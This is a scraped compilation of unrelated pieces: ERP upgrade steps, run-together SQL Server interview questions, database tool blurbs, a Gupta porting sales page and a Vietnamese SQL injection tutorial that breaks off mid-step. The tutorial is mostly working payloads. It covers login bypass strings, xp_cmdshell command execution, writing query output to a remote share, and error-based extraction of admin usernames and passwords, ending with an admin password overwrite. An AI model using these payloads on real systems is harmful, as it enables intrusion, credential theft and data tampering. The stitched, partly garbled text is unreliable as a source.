Complete the tasks scheduled during the Analyse phase’s code upgrade estimation step. These tasks must be completed by your developers.
Changes to the code in AX 2012 should be locked from now on.
Develop new code
In this step, finish the assignments from the fit gap analysis in the ‘utilise demo environment’ of analyse phase.
Data upgrade
The initial update will be conducted in a development environment so that any difficulties can be immediately identified and debugged. After that, the upgrade will be performed in a sandbox environment where functional teams and business users can test processes.
Validate
Cutover testing and cutover plan
This is the phase when AX 2012 will be shut off and switched to D365. It ensures a smooth experience while going live.
Functional test pass
This will be an extended retest of business processes.
Pre-go live checklist
This helps address errors during the final go-live process.
Go live
After a successful upgrade testing and test cut over, you can upgrade the production environment and go live.
Conclusion
Microsoft Dynamics 365 offers numerous advantages and streamlines business processes. So, it is high time to ax 2012 to d365 upgrade.
Moreover, a power platform partner can multiply the benefits of D365 by integrating it with the power platform to enhance business activities and productivity.
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Interview questions for oracle sql developer

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In short, this means that the original object that is referenced in all of your code is really using a completely different underlying object, but no coding changes are necessary. Synonyms enable the reference of another object (View, Table, Stored Procedure or Function) potentially on a different server, database or schema in your environment.Synonyms were released with SQL Server 2005.Question 2: In what version of SQL Server were synonyms released, what do synonyms do and when could you make the case for using them?.Using the NOWAIT option with the SQL Server RAISERROR statement.Standardized SQL Server Error Handling and Centralized Logging.SQL Server 2005 Try and Catch Exception Handling.The TRY block is for the business logic and the CATCH logic is for capturing the error.Although they do not directly replace any specific command, in many respects the TRY and CATCH has been used over the RAISERROR command.Question 1: What are the new error handling commands introduced with SQL Server 2005 and beyond? What command did they replace? How are the new commands used?.Additional information - Date/Time Conversions Using SQL Server.True - With the CONVERT command there are over 15 different date formats such as MM/DD/YY, MM DD, YY, DD-MM-YY, etc.Question 5: True or False - SQL Server can format the date in over 10 different patterns.Additional information - Execute Dynamic SQL commands in SQL Server.Question 4: What are the three ways that Dynamic SQL can be issued?.Additional information - Deleting Data in SQL Server with TRUNCATE vs DELETE commands.A TRUNCATE command could cause issues for Log Shipping since it is a minimally logged operation.A single DELETE command could fill up the transaction log since it is a single transaction.With the DELETE or TRUNCATE command, you will lose all of your data in a table.In terms of implications, a few different issues could occur:.Question 3: What are the two commands to remove all of the data from a table? Are there any implications with the specific commands?.Additional information - SQL Server 2000 Text Data Manipulation.UPPER( character_expression ) - Returns a character expression with lowercase character data converted to uppercase.SUBSTRING( textData, startPosition, length ) - Returns portion of the string.STUFF( textData, start, length, insertTextData ) - Deletes a specified length of characters and inserts another set of characters at a specified starting point.SPACE( numberOfSpaces ) - Repeats space value specified number of times. RTRIM( textData) - Removes trailing blanks.REVERSE( character_expression ) - Returns the reverse of a character expression.REPLICATE( character_expression, integer_expression ) - Repeats a character expression for a specified number of times.REPLACE( textData, findTextData, replaceWithTextData ) - Replaces occurrences of text found in the string with a new value.PATINDEX( findTextData, textData ) - Returns integer value of the starting position of text found in the string. LTRIM( textData) - Removes leading blanks.LOWER ( character_expression ) - Returns a character expression after converting uppercase character data to lowercase.LEN( textData ) - Returns integer value of the length of the string, excluding trailing blanks.LEFT( character_expression, integer_expression ) - Returns the left part of a character string with the specified number of characters.CHARINDEX( findTextData, textData, ) - Returns the starting position of the specified expression in a character string.For example, obtain only a portion of the text, replace a text string, etc. Question 2: Please name 5 commands that can be used to manipulate text in T-SQL code.Additional information - Renaming SQL Server database objects and changing object owners.Use Management Studio by right clicking on the database and selecting the 'Rename' option.Issue the sp_rename system stored procedure and specify 'database' as the parameter.Issue the sp_renamedb system stored procedure.It is possible to rename a database by one of these options:.Yes - Databases can be renamed in similar manners as other relational database objects.Question 1: Is it possible to rename a database? If so, how would you rename the database?.

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Portable version of the db browser for sqlite

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Depending on the format and type of data in the database it may or may not be readable by a human. It is a tool that lets us view the data that is stored in an SQLite Database. There are many SQLite browsers available on the internet under the name “DB Browser for SQLite”. It is a tool that is used by both developers and end-users, and for that reason, it has to remain as simple as possible. SQLite browser uses a general spreadsheet-like interface, and there is no need to learn complicated SQL commands. It is for users and developers who want to create, search, design and edit databases.
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Sql queries are many times smaller than the equivalent procedural codes, and hence the number of bugs per line of code is roughly constant which means fewer bugs overall.įor these amazing advantages, SQLite browsers are widely used among programmers.ĭB Browser for SQLite (DB4S) is a high quality, visual, open-source tool made for creating, designing, and editing database files that are compatible with SQLite.
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The application file is portable in all operating systems.Ĭontent can be updated continuously so that little or no work is lost in a power failure. Performance problems can often be resolved, even later in the development cycle, using CREATE INDEX which helps to avoid costly redesign, rewrite, and retest efforts. The file format can simply be extended in future releases by adding new tables or columns. There is no application file I/O code to write and debug.Ĭontent can be accessed and updated using concise SQL queries instead of lengthy procedural routines. Making small edits overwrite only the parts of the file that change, reducing write time and wear on SSD drives. The application loads only the data it needs, rather than reading the entire file and holding a complete parse in memory. Reading and writing from an SQLite database is faster than reading and writing files directly from disk. There are many advantages of using SQLite as an application file format: In contrast to most other database management systems, SQLite is not a client-server database engine but is embedded into the end program. SQLite is a relational database management system (RDBMS) that is contained in a C library. Below are the topics covered in this blog: In this blog on “SQLite Browser”, we will learn everything you need to know about this browser. It is for developers wanting to create databases, search, and edit data. Migration also supports migrating from earlier versions of MySQL to the latest releases.DB Browser for SQLite is a high quality, open-source tool to design, create, and edit database files compatible with SQLite.
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Developers and DBAs can quickly and easily convert existing applications to run on MySQL both on Windows and other platforms. MySQL Workbench now provides a complete, easy to use solution for migrating Microsoft SQL Server, Microsoft Access, Sybase ASE, PostreSQL, and other RDBMS tables, objects and data to MySQL. Plus, with 1 click, developers can see where to optimize their query with the improved and easy to use Visual Explain Plan. Performance Reports provide easy identification and access to IO hotspots, high cost SQL statements, and more. DBAs can quickly view key performance indicators using the Performance Dashboard. MySQL Workbench provides a suite of tools to improve the performance of MySQL applications. Learn more » Visual Performance Dashboard Developers and DBAs can use the visual tools for configuring servers, administering users, performing backup and recovery, inspecting audit data, and viewing database health. MySQL Workbench provides a visual console to easily administer MySQL environments and gain better visibility into databases. The Object Browser provides instant access to database schema and objects. The Database Connections Panel enables developers to easily manage standard database connections, including MySQL Fabric. The SQL Editor provides color syntax highlighting, auto-complete, reuse of SQL snippets, and execution history of SQL. MySQL Workbench delivers visual tools for creating, executing, and optimizing SQL queries. It includes everything a data modeler needs for creating complex ER models, forward and reverse engineering, and also delivers key features for performing difficult change management and documentation tasks that normally require much time and effort. MySQL Workbench enables a DBA, developer, or data architect to visually design, model, generate, and manage databases.

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Q2id trial download windows

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And I found that InDesign ended up being much nicer (and more stable) to work with. I spent a lot of time checking each page, but not nearly as much time as I would have spent recreating the documents from scratch. The positioning of all text boxes and images were the same, and with only the odd spacing glitch where I'd embedded images within text boxes, all was fine. Quarkxpress 9 freeload Trial Version For Hp Qc But using the procedure below I managed to convert both books without any problems. Both books had been created using Quark XPress 7. Their in-house team had switched to InDesign entirely and they no longer accepted Quark files.Potentially a complete nightmare. During one of my conversations with the client it was revealed to me that the files had to be created in InDesign. There were two 300+ page documents of fairly complex text and diagramatic content, both of which were nearing completion. What do you do?Recently I was working on an enormous book project for a publishing client in Greece.
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The unequaled performance and accuracy of this award-winning conversion technology saves countless hours of scanning or re-keying and formatting legacy documents.?Q2ID can convert QuarkXPress documents created on either the Microsoft Windows or Apple Macintosh OS, into Macintosh Adobe InDesign. Conversion is enabled with a single click using InDesign's File->Open menu. Important items such as Tables, Layers, Blends, Runarounds, Linked Text boxes and Anchored boxes, Pantone colors and other color models are instantly re-created within InDesign. This includes the intricate details of all objects of the document such as exact page positioning, color models, fonts and styles, images, as well as precise text attributes. Q2ID (QuarkXPress to Adobe InDesign) offers users a quick and easy way to convert QuarkXPress content into a new Adobe InDesign document.

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Gupta Report Builder 4.2
Gupta Porting at a Glance
The Porting Project provides our clients with a real .NET application that conforms with modern architecture and presentation standards. Moreover, this also lays the foundation for further development in the direction of SOA or web app.
fecher has successfully ported more than 200 Gupta applications, including countless databases and reports to .NET worldwide. fecher utilizes the U.S.-based Ice Tea Group's unique tools, which make it possible to port all of the source code.
Include: navigating the Enterprise Guide 4.2 menus, creating a report with the Report Builder wizard, combining reports and tasks into a single document using Report layout, and using prompts to generate custom reports from a template. 4.2 OpenText product. OpenText Gupta Report Builder 7.2 OpenText Gupta Q 1.0.1 4.3 Language support Team Developer is currently localized in the following.
During a project, our clients are included in all of the decisions to be made. You can also choose to do the post-processing activities following the automated porting yourself. Upon request, we can also assist your Gupta developers with the initial steps in .NET.
Without the automated migration to .NET we wouldn’t have got this far. And yet our effort has been hardly higher than for an upgrade of a Team Developer version to the newest release.
Scope of Application
In porting Gupta applications, there are three separate fundamental areas to consider: The application itself with its application logic and user interface as well as associated reports and the database which the application accesses.
Application
A porting must functionally transfer as many of the original application's functions and processes as possible to the new environment. Moreover, the ported application should look the same to its users as it did when it was still in Gupta. Lastly, the developers want the application structure to remain unchanged, as it will be easier to maintain the application in the new environment and to develop it further. Accordingly, the porting tool Ice Porter generates a functionally complete equivalent application and an identical display of the user interface with configurable options for redesign such as skinning or a tabbed MDI. Additional add-ons such as ribbon bars, navigation bars or expanded table functions can be used immediately for further development.

User Interface: iCustomizer
Developers can use the tool iCustomizer to apply, without any great effort, client-specific or changed requirements to a standard application: The add-on for .NET applications enables adjustments to be made to the user interface during run-time, with no additional programming. It can be used to modify or add graphical user interface elements and controls from Microsoft Visual Studio's repertoire. Developers also use the tool to expand a finished application's functions via C# code and events. fecher has tailored this customizing tool - which was originally developed by nGroup during a porting project - to the Porting Project Framework and uses it in its projects.
Reports
Significant development efforts have also gone into the Gupta application's reports. Manufacturers, service providers and clients have also often customized the reports to better fit their needs. Both types of reports are retained when switching technologies with a Porting Project as reports are also automatically ported. The Ice Porter porting tool supports a variety of target systems:
Crystal Reports
List & Label
Stimulsoft Reports
SQL Server Reporting Services
Our clients are therefore not subjected to technological constraints and can make their selections based on functional requirements and license models.
The procedures can also be customized to meet your needs. In some projects, the Gupta reports remain in use via report hubs and are only gradually converted at a later date upon implementation for the client. fecher also offers solutions for end-user modified standard reports.
Databases
In theory, a switch from one database to another is quite simple: As SQL has been standardized, existing applications, in principle, should be able to work together with any new database platform. In practice, however, this road is a bit bumpy. Deterrents to a smooth switch-over include incompatible manufacturer standards for defining tables and views, proprietary programming languages for triggers and stored procedures and, last but not least, significant deviations in the various SQL dialects.
Help is provided by the tool-supported service dbPORTER and the middleware component sqlTRANSLATOR, which translates the SQLBase-specific SQL into the SQL of the new database during runtime. Fully transparent - without changes in the source code. These in-house tools, developed by fecher, finally make the switch as easy as SQL's originators intended it to be.
We always conduct our Porting Projects according to a proven procedure model. The only variable is the service level. In an All-inclusive Porting, we deliver a 'turn-key' ported application at the end of the project. In Cooperative Porting, clients bring in their own development resources. The cost, which is already lower than for redevelopment, is thus lowered even further. After the Automated Porting, fecher then delivers the compiled code to the client's in-house developers. Your developers take care of the fine tuning and the finalization. To make sure that everything runs smoothly, our experts will train them beforehand. If additional coaching is needed, our experts remain available at all times.
The Porting Project Procedure Model consists of a number of phases: In the evaluation phase, fecher develops with its potential clients a solid decision-making basis for the porting of their Gupta application. This also includes a fixed-price offer that corresponds to the quantity and complexity of the code. The project really begins with the porting phase after all parts of the evaluation phase have finished. The test phase then finally lead to an application that has been fully ported to .NET, is fully executable and has been prepared for further development in Microsoft Visual Studio.
Evaluation Phase
1) Information: An information package consisting of reference examples shows how the Porting Project is carried out in practice. Initial questions are answered in an on-site meeting or an online demonstration. We also provide advice on technology selection, various migration approaches and what the future holds for Gupta.
2) Free Analysis (Rough Analysis): The PPJ Inventory tool and our constantly refined and updated checklists are used to determine the size and complexity of the code as well as any peculiarities. This lets us estimate the time, the effort and the cost of the Porting Project with a fluctuation margin between 10 and 15 per cent. There is no charge for this first Rough Analysis.
3) Detailed Analysis: We examine the application's modules and reports for problem areas and dependencies. The potential client receives a results report, a fixed-price offer and a rough timetable for the porting. The fee for the Detailed Analysis is calculated based on the hours of work performed. Depending on the application's complexity, this could take two days or more.
Porting Phase
1) Project setup and partitioning: The Porting Project is set up based on the results of the analysis. Together with the client, we coordinate the precise timetable and the course of action to be taken. We jointly define the target structure of the individual application modules and components and therefore of the entire application. A combination of several programs can also be carried out.
2) Code generation and completion: Using the Ice Porter tool, we port all modules and reports, one by one. To obtain the best translation result, this process is repeated several times. The Porting Project Framework or the Ice Porter tool, if necessary, can be adapted to suit the project. Special source code characteristics can, for example, also be taken into account. We manually review the generated .NET code to ensure it will be compilable.
3) Code Finalization: The sections of code identified by Ice Porter during the translation will be verified by our specialists (All-inclusive Porting) or your own developers (In-house Porting). They will also verify all masks, dialogs and reports as well as perform basic tests.
Finalization Phase
1) Test phase: The final tests are carried out by the customer himself. Oftentimes, the first end users are also deployed as early adopters. Depending on the selected Porting Model, namely All-inclusive Porting or In-house Porting, any errors that crop up will be corrected by us, the client, or jointly.
2) Training and coaching: We provide your developers with a comprehensive introduction to the Porting Project Framework's native class library and the ported application. This lays the foundation for successful further development. We'll also gladly arrange seminars for more advanced .NET training. Support agreements are also available to secure our ongoing support.
3) Further development: Quite often, the ported project starts a new life cycle for the software. All further development takes place in Visual Studio. Software developers with .NET know how, are comfortable with the easily readable and manageable source code. As Gupta developers are nearly impossible to find, the Porting Project also solves the skills resource problem. In comparison, it is also much easier to make source code changes in Visual Studio. Cutting-edge refactoring, analysis and documentation tools also significantly increase productivity. We also provide our clients with support in these areas.
The Technology: Porting Project & Ice Porter
In implementing its Gupta Porting Projects, fecher utilizes the technology of the U.S.-based company Ice Tea Group. The software house specializes in Gupta and started Porting Project in 2003. Porting Project helps Gupta developers port their applications to the .NET platform, thereby making the applications sustainable. Since then, the Ice Tea Group has continued to improve the porting tools. fecher has been their Premium Porting Partner responsible for the worldwide distribution of this service since 2008.
The Porting Project is based on the Ice Tea Group's Ice Porter tool, which automatically converts SAL code into C# or VB.NET code for the .NET platform. The intelligent translator also converts reports from Gupta Report Builder to the target choice, whether Crystal Reports, List & Label, Stimulsoft Reports or SQL Server Reporting Services.
The service that Ice Porter performs is however difficult to fully explain in writing. The use of the tool is demonstrated in a workshop and in additional training sessions. Ice Porter can indeed be used for complex and In-house Projects. The client decides whether to purchase a license for Ice Porter or to rely on the fecher team's experience in using this tool, ensuring your porting project starts quickly and safely.
Porting Project Framework
Every powerful software is modern-architecture based; it implements today's requirements to recognized patterns and reacts flexibly to new trends. The Porting Project Framework provides all of the necessary objects needed to generate clearly-structured migrated source code. This enables a very productive further development of the application using all of the Visual Studio and .NET community tools. With this framework as a basis, the software is future-proof. The Ice Tea Group demonstrated that once more as it provided the framework in a version for a web architecture based on Javaspript.
Porting Project Services
In Porting Project Services, the framework is expanded by enabling partitioning in multi-layer architectures. Applications can then be partially or wholly transferred from a desktop to a server, a data-processing center or a cloud-computing provider. Porting Project Services uses the proven Windows Communication Foundation for its communication layer. This is the ideal SOA-based architecture entry-point.
Porting Project Web
Gupta Report Builder 4.0
A version of the proven Porting Project Framework is also available for projects involving a web architecture. Applications ported with this framework run as real-time web applications on Windows web servers and are usable with all common browsers. Even the most complex of user interfaces can be mapped and displayed. Browser-based applications often provide better user experiences than desktop applications.
Gupta Report Builder 4.2 Cu.
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Gupta Report Builder 4.2 Build
The Ice Porter license costs are calculated in accordance with the number of non-redundant SAL items for a code translation and the number of Report Builder templates for a report Migration Project.
The migration result is 100% source code. Even the embedded class library will be delivered as source code. For the class library an annual maintenance agreement is offered; this fee is also based on the number of SAL items.
The class library contains OEM licenses for various ComponentOne controls and Skonsoft's Skin Designer. However, no additional license costs will be incurred during the further development of the application.
No runtime costs are incurred for the execution of a ported application! To run a web application, a web server is required. Further details can be found also at: wisej.com
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Tất tần tật về kiểu tấn công mạng SQL Injection mà bạn cần biết
SQL Injection là kiểu tấn công mạng phổ biến mà bạn cần phải nắm rõ: khái niệm, các dạng, cách thức, quá trình tấn công, hậu quả và cách phòng chống để bảo vệ website, hệ thống của mình.
Lưu ý: Không thử tấn công website, hệ thống của cá nhân, tổ chức khác bằng phương pháp này, mọi hành vi như vậy đều là vi phạm pháp luật Việt Nam. Nếu bạn tìm thấy lỗ hổng bảo mật, hãy báo cho người quản trị website, hệ thống đó để họ khắc phục.
SQL Injection là gì và nó hoạt động như nào?
SQL Injection là một trong những kiểu hack web bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution (thực thi từ xa), dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ...
Hoạt động
SQL Injection trở thành vấn đề khá phổ biến với các trang web theo hướng cơ sở dữ liệu, đây là một lỗ hổng dễ phát hiện và cũng rất dễ bị khai thác. Bất kỳ trang web hoặc phần mềm nào có cơ sở dữ liệu người dùng cũng có thể là mục tiêu của các cuộc tấn công theo kiểu này.
Các cuộc tấn công được thực hiện bằng cách đặt một ký tự meta vào dữ liệu đầu vào, sau đó đặt các lệnh SQL trong Control Plane. Lỗ hổng này do SQL không phân biệt được giữa Control Plane và dữ liệu.
Tìm hiểu các dạng tấn công SQL Injection
Giả mạo
Các cuộc tấn công SQL Injection cho phép những kẻ tấn công giả mạo danh tính, giả mạo dữ liệu hiện có, để gây ra các vấn đề như vô hiệu hóa các giao dịch, thay đổi cân bằng, tiết lộ toàn bộ dữ liệu trên hệ thống, phá hủy dữ liệu hoặc làm cho dữ liệu không còn khả dụng để bọn chúng trở thành quản trị viên của máy chủ cơ sở dữ liệu.
Kiểu phổ biến
SQL Injection rất phổ biến với các ứng dụng PHP và ASP do sự tương thích với các giao diện chức năng cũ hơn. Vì bản chất của các giao diện lập trình sẵn có, các ứng dụng J2EE và ASP.NET sẽ ít có khả năng khai thác SQL Injection hơn.
Tính nghiêm trọng
Mức độ nghiêm trọng của các cuộc tấn công SQL Injection được đánh giá qua kỹ năng của kẻ tấn công. Ở mức độ thấp hơn, bạn nên bảo mật bằng các biện pháp đối phó chuyên sâu, cảnh giác cao độ về mức độ nghiêm trọng của SQL Injection để giảm thiểu rủi ro ở mức thấp nhất.
SQL Injection gây ra những tác động gì?
Thông tin đăng nhập bị đánh cắp: Sử dụng SQL Injection để tìm kiếm thông tin đăng nhập người dùng. Sau đó, những kẻ tấn công có thể mạo danh người dùng, sử dụng và thay đổi các quyền hạn của người dùng sẵn có.
Truy cập cơ sở dữ liệu: Sử dụng SQL Injection để truy cập vào nguồn thông tin được lưu trữ trong máy chủ cơ sở dữ liệu. Điều này có thể gây ra những vấn đề nghiêm trọng cho các dữ liệu của toàn bộ hệ thống vận hành.
Xóa dữ liệu: Sử dụng SQL Injection để xóa các bản ghi của cơ sở dữ liệu, bao gồm cả drop tables, gây ra những sự thay đổi hoặc phá vỡ các cấu trúc của cơ sở dữ liệu.
Dữ liệu thay thế: Sử dụng SQL Injection để chủ động thay đổi hoặc thêm dữ liệu mới vào cơ sở dữ liệu hiện tại, ảnh hưởng đến kết quả chiết xuất dữ liệu cuối cùng xảy ra những sai lệch.
Mạng lưới truy cập: Sử dụng SQL Injection để truy cập vào các máy chủ cơ sở dữ liệu và sử dụng các quyền hạn quản lý trong hệ điều hành. Sau đó, những kẻ tấn công sẽ thực hiện các cuộc tấn công sâu hơn vào mạng lưới.
Còn bây giờ thì xem chi tiết toàn bộ quá trình tấn công bằng SQL Injection bên dưới đây nhé.
Quá trình tấn công bằng SQL Injection
1. Tìm kiếm mục tiêu
Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, …
Ví dụ:
http://yoursite.com/index.asp?id=10
Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới.
<FORM action=Search/search.asp method=post><input type=hidden name=A value=C></FORM>
2. Kiểm tra chỗ yếu của trang web
Thử submit các field username, password hoặc field id, .. bằng hi’ or 1=1–
Login: hi' or 1=1--Password: hi' or 1=1--http://yoursite.com/index.asp?id=hi' or 1=1--
Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ:
<FORM action=http://yoursite.com/Search/search.asp method=post><input type=hidden name=A value="hi' or 1=1--"></FORM>
Nếu thành công, thì có thể login vào mà không cần phải biết username và password
3. Tại sao ‘ or 1=1– có thể vượt qua phần kiểm tra đăng nhập?
Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:
http://yoursite.com/index.asp?category=food
Trong URL trên, biến ‘category’ được gán giá trị là ‘food’. Mã ASP của trang này có thể như sau (đây chỉ là ví dụ thôi):
v_cat = request("category")sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"set rs=conn.execute(sqlstr)
v_cat sẽ chứa giá trị của biến request(“category”) là ‘food’ và câu lệnh SQL tiếp theo sẽ là:
SELECT * FROM product WHERE PCategory='food'
Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory=’food’
Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food’ or 1=1–, biến v_cat sẽ chứa giá trị “food’ or 1=1– ” và dòng lệnh SQL query sẽ là:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng ‘food’ hay không. Hai dấu gạch ngang (–) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau “–” sẽ bị bỏ qua. Đối với MySQL, hãy thay “–” thành “#”
Ngoài ra, cũng có thể thử cách khác bằng cách submit ‘ or ‘a’=’a. Dòng SQL query bây giờ sẽ là:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không:
' or 1=1--" or 1=1--or 1=1--' or 'a'='a" or "a"="a') or ('a'='a
4. Thi hành lệnh từ xa bằng SQL Injection
Nếu cài đặt với chế độ mặc định mà không có điều chỉnh gì, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Có thể dùng store procedure xp_cmdshell trong CSDL master để thi hành lệnh từ xa:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
Hãy thử dùng dấu nháy đôi (“) nếu dấu nháy đơn (‘) không làm việc.
Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:
#tcpdump icmp
Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.
5. Nhận output của SQL query
Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
Chú ý: folder “share” phải được share cho Everyone trước.
6. Nhận dữ liệu qua ‘database using ODBC error message’
Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer ’10’ với một string khác lấy từ CSDL:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL
Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value'table1' to a column of data type int./index.asp, line 5
Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, “table1”. Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.
Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
Khi đó thông báo lỗi của SQL Server có thể là:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int./index.asp, line 5
Mẫu so sánh ‘%25login%25’ sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là “admin_login”.
7. Xác định tên của các column trong table
Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int./index.asp, line 5
Như vậy tên của column đầu tiên là “login_id”. Để lấy tên của các column tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int./index.asp, line 5
Làm tương tự như trên, có thể lấy được tên của các column còn lại như “password”, “details”. Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator./index.asp, line 5
8. Thu thập các dữ liệu quan trọng
Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.
Có thể lấy login_name đầu tiên trong table “admin_login” như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int./index.asp, line 5
Dễ dàng nhận ra được admin user đầu tiên có login_name là “neo”. Hãy thử lấy password của “neo” như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int./index.asp, line 5
Và bây giờ là đã có thể login vào với username là “neo” và password là “m4trix”.
9. Nhận các numeric string
Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của “trinity” là “31173”. Vậy nếu ta thi hành lệnh sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
Thì khi đó chỉ nhận được thông báo lỗi “Page Not Found”. Lý do bởi vì server có thể chuyển passoword “31173” sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của ‘+’ là 0x2b). Chúng ta thêm chuỗi ‘(space)morpheus’ vào cuối password để tạo ra một string mới không phải numeric string là ‘31173 morpheus’. Khi hàm convert() được gọi để chuyển ‘31173 morpheus’ sang integer, SQL server sẽ phát lỗi ODBC error message sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int./index.asp, line 5
Và nghĩa là bây giờ ta cũng có thể login vào với username ‘trinity’ và password là ‘31173’
10. Thay đổi dữ liệu (Update/Insert) của CSDL
Khi đã có tên của tất cả các column trong table, có thể sử dụng lệnh UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.
Để thay đổi password của “neo”, có thể làm như sau:
http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--
Hoặc nếu bạn muốn một record mới vào table:
